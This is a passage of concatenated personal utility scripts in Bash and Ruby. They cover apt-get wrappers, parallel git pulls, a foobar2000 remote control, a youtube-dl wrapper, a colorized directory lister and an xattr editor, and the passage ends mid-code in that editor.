[ "$*" == "" ]; then exec sudoifnotroot apt-get dist-upgrade else exec sudoifnotroot apt-get -u $* dist-upgrade fi <file_sep># Configuration file for chromexup. [main] # Name of the browser user data directory, e.g. 'inox' for Inox Browser, 'iridium' for # Iridium Browser, 'chromium' for ungoogled-chromium. Default is 'chromium'. branding = chromium # Parallel download threads. Default is 4. parallel_downloads = 4 # Remove extensions not defined in the extension section. Default is False. remove_orphans = False [extensions] uBlockOrigin = cjpalhdlnbpafiamejdnhcphjbkeiagm Tampermonkey = dhdgffkkebhmkfjojejmpbldmpobfkfo OneTab = chphlpgkkbolifaimnlloiipkdnihall Hover Zoom+ = pccckmaobkjjboncdfnnofkonhgpceea Vimium = dbepggeogbaibhgnhhndojpepiihcmeb Empty New Tab Page = dpjamkmjmigaoobjbekmfgabipmfilij Display Anchors = poahndpaaanbpbeafbkploiobpiiieko Dark Reader = eimadpbcbfnmbkopoojfekhnkhdbieeh Worldbrain Memex = abkfbakhjpmblaafnpgjppbmioombali Recipe Filter = ahlcdjbkdaegmljnnncfnhiioiadakae Karmel (Reddit Comments for YouTube) = halllmdjninjohpckldgkaolbhgkfnpe 2read = nooeemkngkckhnlfbmikbkiiabbbnlap # Split Tabs = mamepagkigmnpoalafajabnljlkkocbk # HTTPSEverywhere = gcbommkclmclpchllfjekcdonpmejbdp # uMatrix = ogfcmafjalglgifnmanfmnieipoejdcf # Decentraleyes = ldpochfccmkkmhdbclfhpagapcfdljkj # IPFS Companion = nibjojkomfdiaoajekhjakgkdhaomnch # Mercury Reader = oknpjjbmpnndlpmnhmekjpocelpnlfdi <file_sep>#!/bin/bash sudoifnotroot apt-get autoremove <file_sep>#!/usr/bin/env ruby require 'epitools' ############################################################################ POOL_SIZE=12 ############################################################################ def run(cmd) IO.popen(cmd, err: [:child, :out]) { |io| io.read } end # # TODO: Move this to epitools # module Enumerable def parallel_map(num_workers=8, &block) require 'thread' queue = Queue.new each { |e| queue.push e } Enumerator.new do |y| workers = (0...num_workers).map do Thread.new do begin while e = queue.pop(true) y << block.call(e) end rescue ThreadError end end end workers.map(&:join) end end end ############################################################################ if ARGV.any? repos = ARGV.map(&:to_Path) else repos = Path["*/.git"].map(&:parent) end puts "<8>* <11>Updating <15>#{repos.size} <11>repos <8>(<9>using <15>#{POOL_SIZE} <9>parallel workers<8>)".colorize ############################################################################ # Update all the repos and gather the results results = repos.parallel_map(POOL_SIZE) do |repo| begin if not repo.exists? [repo, false, "Error: path does not exist", false] elsif repo.file? [repo, false, "Error: repo must be a directory", false] else Path.cd(repo) do if Path[".git"].dir? # Regular repo output = run "git pull" updated = !output["Already up-to-date."] elsif Path["HEAD"].exists? # Bare repo output = run "git fetch" updated = !output.blank? elsif (pull_script = Path["pull"]).exists? and pull_script.executable? # ./pull script output = run "./pull" updated = !output.blank? else raise "I don't recognize this type of repo: #{repo}" end [repo, updated, output, $?.success?] end end rescue => e [repo, false, e.to_s, false] end end ############################################################################ # Summarize the results updated_repos = [] errors = [] results.each do |repo, updated, output, success| if not success # output[/^(fatal: .+)$/] || output[/^(error: Your local changes.+)$/] || output[/no such ref was fetched./] print ".".light_red errors << [repo, output] elsif updated puts puts "<3>========== <11>#{repo} <3>===============".colorize puts puts output puts updated_repos << repo else print ".".grey end end puts puts puts "----------------------------------------------------------------".grey puts " Errors:".light_red puts "----------------------------------------------------------------".grey errors.each do |repo, error| puts "#{repo}".light_red puts error.indent(4) end puts puts "----------------------------------------------------------------".grey puts " Updated:".light_green puts "----------------------------------------------------------------".grey updated_repos.each { |repo| puts "#{repo}".light_cyan } puts <file_sep>#!/bin/bash sudoifnotroot apt-get --download-only --force-yes -y -u dist-upgrade <file_sep>#!/bin/bash if [ "$1" == "--help" ]; then echo "usage: dconf-dump [/<prefix>/]" exit 1 fi if [ "$1" == "" ]; then tree="/" else tree="$1" fi dconf dump "$tree" | bat -lini <file_sep>#!/bin/bash echo "* Rehashing fonts..." if which fc-cache &> /dev/null; then fc-cache else xset fp rehash fi <file_sep>#!/usr/bin/env ruby #################################################################################################### ## Control foobar2000 (using the foo_controlserver.dll plugin) #################################################################################################### #################################################################################################### # The host/port for the machine running foo_controlserver. FOOBAR_PORT=3333 FOOBAR_HOST="localhost" #################################################################################################### require 'socket' class Foobar attr_accessor :sock, :current def initialize(host=FOOBAR_HOST, port=FOOBAR_PORT, &block) @sock = TCPSocket.new(host, port) raise "Could not connect" unless readlines.grep(/Connected/).any? @current = readlines end def self.control(&block) foobar = self.new foobar.instance_eval(&block) foobar.command("exit") foobar.close end def readlines sock.recv(2**16).lines.map { |l| l.strip } end def command(msg, verbose=false) #puts "<light_blue>>> <light_yellow>#{msg}".colorize if verbose puts ">> #{msg}" if verbose sock.write( msg+"\r\n" ) print_response if verbose end def print_response readlines.each {|line| puts line } end def close sock.close end #------------------------------------------------------------------------------------------------ class Track < Struct.new(:x, :pos, :seek, :length, :mp3, :bitrate, :artist, :album, :year, :genre, :num, :title) def initialize(*args) super self.pos = pos.to_i self.seek = seek.to_f self.bitrate = bitrate.to_i self.length = to_hms(length) self.year = year.to_i self.num = num.to_i end COMPARE_FIELDS = [:artist, :album, :year, :genre, :num, :title] def ==(other) COMPARE_FIELDS.all? { |field| self[field] == other[field] } end def to_hms(s) seconds = s.to_i days, seconds = seconds.divmod(86400) hours, seconds = seconds.divmod(3600) minutes, seconds = seconds.divmod(60) seconds, frac = seconds.divmod(1) result = "%0.2d:%0.2d" % [minutes,seconds] result = ("%0.2d:" % hours) + result if hours > 0 or days > 0 result = ("%0.2d:" % days) + result if days > 0 result += ("." + frac.round(2).to_s.split(".").last) if frac > 0 result end end def parse(s) code, *args = s.split("|") case code when "111" then Track.new(*args) when "112" then "Stopped" when "113" then "Paused" when "222" then nil # volume when "333" then args.first == "Random" ? "Shuffle ON" : "Shuffle OFF" end end def notify(parsed) i = parsed case i when Track title = "#{i.num}. #{i.artist} - #{i.title} (#{i.length})" subtitle = "#{i.album}" subtitle += " (#{i.year})" if i.year > 0 urgency = "normal" when String title = i urgency = "low" end if title cmdline = [ "notify-send.sh", "--print-id", "--replace=#{@last_id || 0}", "--urgency=#{urgency}", # "--icon=#{ENV["HOME"]}/.foobar2000/icon-white.png", "--icon=/usr/share/pixmaps/foobar2000.png", #"--expire-time=2", title ] cmdline << subtitle if subtitle @last_id = IO.popen(cmdline, &:read).chomp end end def on_readline(&block) loop do r, w, e = IO.select([sock]) readlines.each { |l| yield l } if r.any? end end #------------------------------------------------------------------------------------------------ def toggle_shuffle command("order") response = readlines response.grep("333|Default|") { command("order shuffletrack"); puts "Shuffle enabled!" } response.grep("333|Random|") { command("order default"); puts "Shuffle disabled!" } end def shuffleon command("order shuffletrack") puts readlines end def shuffleoff command("order default") puts readlines end def notify_loop! puts "* foobar2000 OSD notifications running..." last_track = nil on_readline do |line| puts line i = parse(line) if i.is_a? Track # p i notify(i) if last_track.nil? or not i == last_track last_track = i else notify(i) end end end def current command("trackinfo") readlines.each { |line| notify parse(line) } end def playstatus command("trackinfo") code = readlines.first.split("|").first case code when "111" then :playing when "112" then :stopped when "113" then :paused end end def playpause if playstatus == :stopped command "play" else command "pause" end end end def which(*args) args.map { |arg| Dir.glob( "{#{ENV["PATH"].split(':').join(',')}}/#{arg}" ) }.flatten.compact.uniq end #################################################################################################### if $0 == __FILE__ Foobar.control do if ARGV.empty? puts "------------------------------------------------------------------------------------" puts " foobar2000 remote controller" puts "------------------------------------------------------------------------------------" puts "(Note: requires foobar2000 to be using the 'foo_controlserver' plugin)" puts puts "usage: foo <command>" puts puts %{ Commands: playpause - play or pause shuffle - toggle shuffle shuffleon - enable shuffle shuffleoff - disable shuffle current - display currently playing track} command "help" readlines.each do |line| if line =~ /^999\|(.+)\|$/ puts " #{$1}" end end puts puts "If you'd like to see desktop notifications whenever a track changes, you need to" puts "run an extra instance of `foo` in 'notification mode' like so:" puts puts " $ foo -n" puts elsif ARGV == ["-n"] if which("notify-send").any? notify_loop! else puts "Couldn't find notify-send in the path. This is needed to do on-screen notifications." puts "To install it in Debian/Ubuntu, run: apt-get install libnotify-bin" end elsif ARGV == ["playpause"] playpause elsif ARGV == ["shuffle"] toggle_shuffle elsif ARGV == ["shuffleon"] shuffleon elsif ARGV == ["shuffleoff"] shuffleoff elsif ARGV == ["current"] current else command ARGV.join(' '), true end end end #################################################################################################### <file_sep>#!/bin/bash #cat | grep --color=always -E '\w(| )' << END cat << END Letters a ⠁ b ⠃ c ⠉ d ⠙ e ⠑ f ⠋ g ⠛ h ⠓ i ⠊ j ⠚ k ⠅ l ⠇ m ⠍ n ⠝ o ⠕ p ⠏ q ⠟ r ⠗ s ⠎ t ⠞ u ⠥ v ⠧ w ⠺ x ⠭ y ⠽ z ⠵ Digits 1 ⠼⠁ 2 ⠼⠃ 3 ⠼⠉ 4 ⠼⠙ 5 ⠼⠑ 6 ⠼⠋ 7 ⠼⠛ 8 ⠼⠓ 9 ⠼⠊ 0 ⠼⠚ Punctuation , ⠂ ; ⠆ : ⠒ . ⠲ ? ⠦ ! ⠖ ‘ ⠄ “ ⠄⠶ “ ⠘⠦ ” ⠘⠴ ‘ ⠄⠦ ’ ⠄⠴ ( ⠐⠣ ) ⠐⠜ / ⠸⠌ \ ⠸⠡ - ⠤ – ⠠⠤ — ⠐⠠⠤ END <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: syncthing-conflicts [options]" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## Path["**/*sync-conflict*.*"].each do |cnf| orig = cnf.with(filename: cnf.filename.gsub(/\.sync-conflict-[^\.]+\./, '.')) paths = [orig, cnf] raise "orig doesn't exist #{orig}" unless orig.exists? paths.each_with_index do |path, index| puts "#{index+1}) #{path.md5[0..8]} #{path.size.commatize.rjust(10)} #{path}" end loop do print "> " unless choice = $stdin.gets&.chomp and choice.any? puts "Skipping..." break end choice = choice.to_i if choice > 0 and chosen = paths[choice-1] #system "trsh", "-v", *(paths - [chosen]) system "rm", "-v", *(paths - [chosen]) unless chosen == orig chosen.mv(orig) end break else puts "error, try another" end end puts end <file_sep>#!/usr/bin/env ruby ############################################################################### gem 'slop', "~> 3.6" require 'slop' require 'epitools/rash' require 'epitools/path' require 'epitools/colored' require 'epitools/clitools' ############################################################################### TYPE_INFO = [ [:code, /\.(rb|c|c++|cpp|py|sh|nim|pl|awk|go|php|ipynb|lua)$/i, :light_yellow], [:image, /\.(jpe?g|bmp|png|gif)$/i, :green], [:video, /\.(mp4|mkv|avi|m4v|flv|webm|mov|mpe?g|wmv|vob)$/i, :light_purple], [:music, /\.(mp3|ogg|m4a|aac)$/i, :purple], [:bin, /\.(exe)$/i, :light_green], [:config, /\.(conf|ini)$/i, :cyan], [:dotfile, /^\../i, :grey], [:data, /\.(json|ya?ml|h|sql)$/i, :yellow], [:sidecar, /\.(srt|idx|sub|asc|sig|log|vtt)$/i, :grey], [:archive, /\.(zip|rar|arj|pk3|deb|7z|tar\.(?:gz|xz|bz2|zst)|tgz|pixz|gem)$/i, :light_yellow], [:doc, /(Makefile|CMakeLists.txt|README|LICENSE|LEGAL|TODO|\.(txt|pdf|md|rdoc|log|mk|epub|docx?))$/i, :light_white], ] FILENAME2COLOR = Rash.new TYPE_INFO.map { |name, regex, color| [regex, color] } FILENAME2TYPE = Rash.new TYPE_INFO.map { |name, regex, color| [regex, name] } ARG2TYPE = Rash.new({ /^(code|source|src)$/ => :code, /^(music|audio)$/ => :music, /^vid(eo)?s?$/ => :video, /^(subs?)$/ => :sub, /^(image?s|pics?|pix)$/ => :image, /^(text|docs?)$/ => :doc, /^(archives?|zip)$/ => :archive, /^(dir|directory)$/ => :dir, /^(bin|exe|program)s?$/ => :bin, /^dotfiles?$/ => :dotfile, /^sidecar$/ => :dotfile, /^data$/ => :data, /^files?$/ => :file, /^dirs?$/ => :dir, }) SIZE_COLORS = Rash.new( 0...100 => :grey, 100...1_000 => :blue, 1_000...1_000_000 => :light_blue, 1_000_000...1_000_000_000 => :light_cyan, 1_000_000_000...1_000_000_000_000 => :light_white ) def parse_options selected_types = [] ARGV.each do |arg| if type = ARG2TYPE[arg.gsub(/^--/, '')] ARGV.delete(arg) selected_types << type end end # # Parse normal arguments # opts = Slop.parse(help: true, strict: true) do banner "Usage: d [options] <file/dir(s)..>" on "v", "verbose", 'Enable verbose mode' on "l", "long", 'Long mode (with sizes and dates)' on "r", "recursive", 'Recursive' on "D", "dirs-first", 'Show directories first' on "a", "all" , 'Show all files (including hidden)' on "H", "hidden", 'Show hidden files' on "t", "time", 'Sort by modification time' on "T", "reverse-time", 'Sort by modification time (reversed)' on "s", "size", 'Sort by size' on "S", "reverse-size", 'Sort by size (reversed)' on "p", "paged", 'Pipe output to "less"' on "n", "dryrun", 'Dry-run', false on "g=","grep", 'Search filenames' on "f=","find", 'Find in directory tree' separator " --<type name> List files of this type (possibilities: #{TYPE_INFO.map(&:first).join(', ')})" end # re_matchers = ARG2TYPE.keys.map { |re| re.to_s.scan(/\^(.+)\$/) } # separator " --<type name> List files of this type (will match: #{re_matchers.join(", ")})" [opts, selected_types, ARGV] end # List the current directory if no files/dirs were specified ############################################################################### class Integer def commatized_and_colorized(rjust=15) color = SIZE_COLORS[self] || :white s = commatize padding = " " * (rjust - s.size) "#{padding}<#{color}>#{s.gsub(",", "<8>,</8>")}".colorize #to_s.send(color) end def rjust(*args) to_s.rjust(*args) end def ljust(*args) to_s.ljust(*args) end end class NilClass def commatized_and_colorized(rjust=15) " " * 15 end end ############################################################################### class Path def colorized(wide: false, regex: nil) fn = regex ? filename.gsub(regex) { |match| "<14>#{match}</14>" } : filename line = "" if dir? line = dirs[-1].light_blue + "/" elsif symlink? line = "<11>#{fn}</11>" line += " <8>-> <#{target.exists? ? "7" : "12"}>#{target}" if wide line = line.colorize elsif color = FILENAME2COLOR[fn] line = "<#{color}>#{fn}</#{color}>" elsif executable? line = "<10>#{fn}</10>" else line = fn end line.colorize end def type if dir? :dir elsif type = FILENAME2TYPE[filename] type elsif ext.nil? or executable? :bin else nil end end end ############################################################################### def print_paths(paths, long: false, regex: nil, hidden: false, tail: false) paths = paths.select { |path| path.filename =~ regex } if regex paths = paths.reject &:hidden? unless hidden printer = proc do |output| if long paths.each do |path| fn = path.colorized(regex: regex, wide: true) time = (path.mtime.strftime("%Y-%m-%d") rescue "").ljust(10) size = path.size rescue nil output.puts "#{size.commatized_and_colorized} #{time} #{fn}" end else colorized_paths = paths.map { |path| path.colorized(regex: regex) } output.puts Term::Table.new(colorized_paths, :ansi=>true).by_columns end end if tail printer[$stdout] else lesspipe(&printer) end end ############################################################################### # Main ############################################################################### opts, selected_types, args = parse_options args = ["."] if args.empty? # Expand arguments into collections of files grouped = {} single_files = [] args.each do |arg| path = Path[arg] unless path.exists? $stderr.puts "<12>Error: <15>#{root} <12>doesn't exist".colorize next end if path.dir? grouped[path] = opts.recursive? ? path.ls_R.group_by(&:dir) : path.ls else single_files << path end end grouped = grouped.update single_files.flatten.group_by(&:dir) regex = opts[:grep] ? Regexp.new(opts[:grep], Regexp::IGNORECASE) : nil if opts["find"] # BFS search exit end grouped.each do |dir, paths| if grouped.size > 1 puts puts "<9>#{dir}".colorize end if selected_types.any? paths = if selected_types.include?(:file) paths.select { |path| path.file? } else paths.select { |path| selected_types.include? path.type } end end start_pager_at_the_end = false if opts["time"] paths.sort_by!(&:mtime) start_pager_at_the_end = true elsif opts["reverse-time"] paths.sort_by!(&:mtime).reverse! elsif opts["size"] paths.sort_by!(&:size) start_pager_at_the_end = true elsif opts["reverse-size"] paths.sort_by!(&:size).reverse! else case paths when Hash raise "fixme: print recursive paths like bfs (Path#relative_to may be needed)" r = proc { |k,vs| vs.map { |v| ... recurse and concat results here ... } } paths.lazy.map &r when Array paths.sort_by! { |path| path.path.downcase } else raise :ohno end end if opts.dirs_first? dirs, paths = paths.partition(&:dir?) paths = dirs + paths end print_paths(paths, long: opts.long?, regex: regex, hidden: opts.hidden?, tail: start_pager_at_the_end) end <file_sep>#!/bin/bash youtube-dl -f best --youtube-skip-dash-manifest -g "$@" <file_sep>#!/bin/bash echo --- Wireless Nets -------------------------------------- echo iwconfig echo --- Wired Nets -------------------------------------- echo ifconfig <file_sep># Screenshots Here are screenshots of some of the scripts. ## github-search ![github-search](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/github-search.png) ## gem-search ![gem-search](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/gem-search.png) ## play ![play](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/play.png) ## ssh-logins ![ssh-logins](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/ssh-logins.png) ## pacgroups ![pacgroups](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/pacgroups.png) ## pacman-old ![pacman-old](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/pacman-old.png) ## paclog ![paclog](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/paclog.png) ## x ![x](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/x.png) ## acs ![acs](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/acs.png) ## nvtop ![nvtop](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/nvtop.png) ## yt ![yt](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/yt.png) ## gc ![gc](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/gc.png) ## wict ![wict](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/wict.png) ## pacman-rollback ![pacman-rollback](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/pacman-rollback.png) ## dpkg-log ![dpkg-log](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/dpkg-log.png) ## gb ![gb](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/gb.png) ## latest ![latest](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/latest.png) ## c ![c](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/c.png) ## aur-deps ![aur-deps](https://raw.githubusercontent.com/epitron/scripts/master/screenshots/aur-deps.png) <file_sep>#!/usr/bin/env ruby require 'zlib' BLOCK_SIZE = 512*1024 args = ARGV if args.empty? puts "usage: adb-backup-extract [options] <file.backup>" puts puts "options:" puts " -l List contents" puts " -c Convert to .tar.xz archive" puts " -x Extract archive to current directory" puts else opts, args = args.partition { |arg| arg[/^-\w/] } args.each do |arg| if opts.include?("--to-xz") or opts.include?("-c") cmd = ["pixz", "-o", "#{arg}.tar.xz"] else if opts.include?("-v") or opts.include?("-l") cmd = ["tar", "-tv"] elsif opts.include("-x") or opts.include("-e") cmd = ["tar", "-xv"] else puts "Unrecognized option: #{opts}" exit 1 end end puts "#{arg} => #{cmd}" open(arg, "rb") do |f| head = f.read(24) #p header_valid: (head == "ANDROID BACKUP\n1\n1\nnone\n") zlib = Zlib::Inflate.new IO.popen(cmd, "w") do |tar| until f.eof? zlib << f.read(BLOCK_SIZE) tar.write zlib.flush_next_out end end end end #dd if="$1" bs=24 skip=1 2>/dev/null | openssl zlib -d | tar $TAR_OPTS - end <file_sep>#!/bin/bash git ls-files --with-tree=HEAD "$@" <file_sep>#!/usr/bin/env ruby opts, args = ARGV.partition { |arg| arg[/^--?\w/] } cmd = %w[git log --graph --stat --color] if opts.delete "-w" cmd += %w[-u --word-diff] end cmd += opts args << "." unless args.any? args.each do |arg| Dir.chdir(arg) do begin IO.popen(["less", "-RS"], "w") do |less| less.puts "\e[30m\e[1m=== \e[0m\e[36m\e[1m#{arg} \e[0m\e[30m\e[1m=====================================\e[0m" less.puts IO.popen(cmd) do |git| git.each_line do |line| less.puts line end end end rescue Errno::EPIPE, Interrupt # less just quit -- eat the exception. end end end <file_sep>#!/usr/bin/env ruby args = ARGV if args.reject{|arg|arg[/^-\w/]}.empty? or args.delete("--help") puts "Youtube-DL Wrapper!" puts puts "Usage:" puts " gfv [options] <youtube url(s)>" puts puts "Options:" puts " -h High quality mode" puts " -l Low(ish) quality mode" puts " -3 <= 360p" puts " -4 <= 480p" puts " -7 <= 720p" puts " -n Number the files when downloading playlists" puts " -p Parallel downloader with multiple (5) threads (requires axel)" puts " -a Download audio only" puts " -s Download subtitles only" puts " -S No subtitles!" puts " -c Download chatlogs w/ subtitles" puts " -o <filename>" puts " Set output filename." puts " ( For a list of variables that can be inserted into the filename, see:" puts " https://github.com/rg3/youtube-dl/blob/master/README.md#output-template )" puts puts "(any other options will be passed directly to youtube-dl)" puts exit 1 end cmd = %w[ youtube-dl --no-mtime --xattrs --add-metadata --trim-filenames 220 ] urls, opts = args.partition { |arg| arg[%r{^\w{2,20}://.}] } # --sub-lang=en --write-sub # --convert-subtitles=srt --sub-lang=en --embed-subs # if opts.delete("-c") # slangs << ",live_chat" # cmd += %w[--write-subs --skip-download --sub-langs live_chat] # end unless opts.delete("-S") slangs = "en.*" slangs << ",live_chat" if opts.delete("-c") cmd += ["--sub-format", "srt/ass/vtt/best", "--sub-langs", slangs, "--write-sub"] end numbering = opts.delete("-n") # filename formatter unless opts.include?("-o") cmd << "-o" if numbering cmd << "%(playlist_index)s. %(title)0.235s.%(ext)s" else if urls.any? { |u| u["tiktok.com/"] } cmd << "%(uploader)s - %(title)0.50s - %(description)0.150s.%(ext)s" else cmd << "%(title)0.240s.%(ext)s" end end end if opts.delete("-a") or urls.all? { |url| url =~ %r{\.bandcamp\.com/} } cmd << "--extract-audio" cmd << "--embed-thumbnail" unless args.include?("-f") if urls.first =~ %r{\.bandcamp\.com/} cmd += ["-f", "(mp3-v0/ba[ext=mp3]/ba[ext=m4a]/ba)[acodec!~='([af]lac|wav|aiff)']"] else cmd += ["-f", "ba[ext=m4a]/ba[ext=mp3]/ba"] end end elsif opts.delete("-s") cmd << "--skip-download" cmd << "--write-auto-sub" elsif opts.delete("-3") cmd += %w[-f bestvideo[ext=mp4,height<=?360]+bestaudio[ext=m4a]/best] elsif opts.delete("-4") cmd += %w[-f bestvideo[ext=mp4,height<=?480]+bestaudio[ext=m4a]/best] elsif opts.delete("-7") cmd += %w[-f bestvideo[ext=mp4,height<=?720]+bestaudio[ext=m4a]/best] elsif opts.delete("-l") ## youtube-dl defaults to the best quality, so this isn't necessary -- it just causes problems cmd += %w[-f best --youtube-skip-dash-manifest] end # parallel download if opts.delete("-p") cmd += ["--downloader", "axel", "--downloader-args", "--num-connections=3"] end cmd += opts urls.each_with_index do |url, i| n = i+1 #if url =~ %r{^plugin://plugin\.video\.youtube/play/\?video_id=(.+)$} if url =~ %r{/(?:play/?|watch)\?(?:video_id|v)=([\w\-]+)} url = "https://youtu.be/#{$1}" end url = url.gsub(%r{/nitter\.[^/]+/}, "/twitter.com/") if url =~ /(youtu\.be|(you|hook)tube\.com|vimeo\.com)/ unless cmd.include?("--skip-download") or cmd.include?("-f") or opts.delete("-h") cmd += %w[-f bestvideo[width<=?1920][height<=?1080][ext=mp4]+bestaudio[ext=m4a]/best] # cmd += %w[-f bestvideo[ext=mp4]+bestaudio[ext=m4a]] end end # when numbering is chosen and this isn't a playlist, substitute the arg number into the filename (little hacky, sorry me) if numbering and not url =~ /(playlist|album)/ pos = cmd.index { |arg| arg == "-o" } if pos and cmd[pos+1] =~ /playlist_index/ numberstr = "%0.2d" % n cmd = cmd.dup # cmd << "%(playlist_index)s. %(title)0.235s.%(ext)s" cmd[pos+1] = cmd[pos+1].gsub("%(playlist_index)s", numberstr) end end # git it puts "-------------------------------------------------" puts " Downloading #{url}" puts "-------------------------------------------------" puts puts "Commandline:" puts " #{cmd.join(" ")} #{url}" puts system *cmd, url end <file_sep>#!/usr/bin/env ruby backup = true exts = %w[c h cpp hpp rb py sh].join(",") puts puts "* Recursively stripping trailing whitespace from *.{#{exts}} files..." total = 0 strip_count = 0 Dir["**/*.{#{exts}}"].each do |fn| print " |_ #{fn}" data = File.read(fn) total += 1 count = 0 stripped_lines = data.each_line.map do |line| stripped_line = line.rstrip count += 1 unless stripped_line == line.chomp stripped_line end stripped_lines << "" if data[-1] == "\n" # newline at end of file stripped_data = stripped_lines.join("\n") if data != stripped_data strip_count += 1 puts " (#{count} line#{"s" if count != 1})" File.rename(fn, "#{fn}~") if backup File.write(fn, stripped_data) else puts end end puts puts "* Done! (#{strip_count}/#{total} files modified)" puts<file_sep>#!/usr/bin/env ruby args = ARGV puts "Checking #{args.size} files for Wayback Machine toolbars..." webarchive_header_re = /<!-- BEGIN WAYBACK TOOLBAR INSERT -->.+<!-- END WAYBACK TOOLBAR INSERT -->[\n\r]{1,2}/m args.each do |arg| next if File.directory? arg data = File.read(arg) clean_data = data.gsub(webarchive_header_re, '') if clean_data != data puts "|_ cleaned: #{arg} (#{File.size(arg)} bytes)" File.write(arg, clean_data) end end <file_sep>#!/bin/bash # # VM proc control docs: # https://www.kernel.org/doc/Documentation/sysctl/vm.txt # # To free pagecache: # echo 1 > /proc/sys/vm/drop_caches # # To free dentries and inodes: # echo 2 > /proc/sys/vm/drop_caches # # To free pagecache, dentries and inodes: # echo 3 > /proc/sys/vm/drop_caches # # As this is a non-destructive operation, and dirty objects are not freeable, # the user should run "sync" first in order to make sure all cached objects # are freed. # echo 3 > /proc/sys/vm/drop_caches <file_sep>#!/usr/bin/env ruby require 'epitools' PWD = Path.pwd def formatted(f, s, color=7) puts "<7>#{s.commatize} <8>| <#{color}>#{Shellwords.escape f.relative_to(PWD)}".colorize end files = Path["**/*"]. select(&:file?). map { |f| [f.size, f] }. sort files.each_cons(2) do |(s1,f1), (s2,f2)| # if (s2 - s1) < 1024 # fuzzy match if s1 == s2 # red == same md5, blue == similar sizes color = (f1.md5 == f2.md5) ? 12 : 9 [[f1,s1],[f2,s2]].each { |f,s| formatted(f, s, color) } puts end end <file_sep>#!/bin/bash # # A list of keyservers: https://sks-keyservers.net/status/ # #KEYSERVER=keyserver.ubuntu.com #KEYSERVER=pgp.mit.edu # slow! #KEYSERVER=keys.openpgp.org # missing keys #gpg --keyserver $KEYSERVER --recv "$*" # --keyserver isn't needed anymore; gpg now uses WKD by default (ie: --auto-key-locate local,wkd) gpg --receive-keys "$@" <file_sep>#!/usr/bin/env ruby ##################################################################################### # # This script displays and edits xattrs (extended attributes, or metadata) on files. # ##################################################################################### # # TODO: # # * Accepted nested YAML as input (eg: user.dublincore: attr: <value>) # * Instead of printing "Scanning...", just print paths relative to PWD # * Batch getfattr # ##################################################################################### gem 'epitools', '>= 0.5.46' require 'epitools' ##################################################################################### class FakeOptions def method_missing(*args); nil; end end ##################################################################################### # OPTION PARSER def parse_options gem 'slop', '~> 3.6' require 'slop' # lazy loaded @opts = Slop.parse(help: true, strict: true) do banner "xattr editor\n\nUsage: x [options] <files...>" on 's=', 'set', 'Set an attr (eg: "x -s dublincore.title=Something something.mp4")' on 'e', 'edit', 'Edit xattrs (with $EDITOR)' on 'c', 'copy', 'Copy xattrs from one file to another (ERASING the original xattrs)' on 'd', 'directory', 'Show the directory itself, not its contents' on 'm', 'merge', 'Overlay xattrs from one file onto another (overwriting only the pre-existing attrs)' on 'y', 'yaml', 'Print xattrs as YAML' on 'j', 'json', 'Print xattrs as JSON' on 'u=', 'url', 'Set origin URL (user.xdg.origin.url)' on 'r=', 'referrer', 'Set referrer URL (user.xdg.referrer.url)' on 'R', 'recursive', 'Recurse into subdirectories' on 't', 'time', 'Sort by file timestamp' end end ##################################################################################### POPULAR_KEYS = %w[ user.xdg.referrer.url user.xdg.origin.url user.xdg.robots.backup user.xdg.robots.index user.dublincore.title user.dublincore.creator user.dublincore.subject user.dublincore.description user.dublincore.publisher user.dublincore.contributor user.dublincore.date user.dublincore.type user.dublincore.format user.dublincore.identifier user.dublincore.source user.dublincore.language user.dublincore.relation user.dublincore.coverage user.dublincore.rights ] ##################################################################################### def tmp_path(prefix="x-e") alphabet = [*?A..?Z, *?a..?z, *?0..?9] fn = nil loop do fn = Path["/tmp/#{prefix}-#{alphabet.pick(10).join('')}"] break unless fn.exists? end fn end def edit(path) tmp = tmp_path orig_attrs = path.attrs p tmp p tmp.exists? tmp.io("wb") do |file| file.puts(orig_attrs.to_yaml) if orig_attrs.any? file.puts file.puts "#" file.puts "# Editing xattrs for #{path}" file.puts "# -----------------------------------------" file.puts "# Type in xattrs in this format (YAML):" file.puts "# user.custom.attr: This is a custom attribute." file.puts "# user.xdg.referrer.url: http://site.com/path/" file.puts "#" file.puts "# (Note: custom attributes must begin with 'user.')" file.puts "#" file.puts "# Enter your attributes at the top of the file." file.puts "#" file.puts "# Examples:" file.puts "#" POPULAR_KEYS.each { |key| file.puts "##{key}: "} file.puts "#" #file.flush end pp tmp.exists? editor = ENV["EDITOR"] || "nano" system *editor.split, tmp.path pp orig_attrs new_attrs = ( tmp.read.from_yaml || {} ) pp new_attrs diffed = orig_attrs.diff(new_attrs) pp diffed edited_attrs = diffed.map { |k,(v1,v2)| [k,v2] unless v2.nil? }.compact.to_h pp edited_attrs path.attrs = edited_attrs tmp.rm path end ##################################################################################### def translate_value(key, value) case key when "user.com.dropbox.attributes" "#{value.size} bytes" when "security.capability" # struct vfs_cap_data_disk { # __le32 version; # __le32 effective; # __le32 permitted; # __le32 inheritable; # }; bitmaps = [:effective, :permitted, :inheritable] version, *maps = value.unpack("L*") "#{value.bytes.size} v#{version}, maps: #{maps.inspect}" else value end end def show(path, timestamp=false) # if path.dir? # return # elsif not path.exists? if not path.exists? puts "<7>#{path.filename} <8>(<12>not found<8>)".colorize elsif (attrs = path.attrs).any? title = "<15>#{path.filename}" title += " <6>[<14>#{path.mtime.strftime("%b %d, %Y")}<6>]" if timestamp puts title.colorize grouped = attrs. map { |k, v| [k.split("."), translate_value(k, v)] }. sort. group_by { |k,v| 